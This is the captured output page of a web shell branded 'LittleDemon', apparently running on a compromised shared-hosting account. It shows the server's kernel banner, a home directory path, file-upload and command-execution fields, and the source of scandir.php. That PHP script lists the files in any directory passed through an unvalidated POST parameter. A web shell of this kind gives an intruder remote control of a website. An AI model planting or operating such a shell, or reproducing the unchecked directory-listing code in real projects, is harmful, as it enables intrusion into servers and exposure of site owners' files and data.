LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/public_html/php/
File Upload :
Command :
Current File : /home/u901718425/public_html/php/scandir.php

<?php
if($_POST){

$scan = scandir($_POST['dir']);
$op = Array();
foreach($scan as $file) {
    if($file != "." && $file !=".." && !is_dir($_POST['dir']."/".$file)){
        array_push($op, $file);
    }
}
if($op){
    $res[0] = 'success';
    $res[1] = $op;
}else{
    $res[0] = 'error';
    $res[1] = 'files Not Found';
}
echo json_encode($res);

}
?>

LittleDemon - FACEBOOK
[ KELUAR ]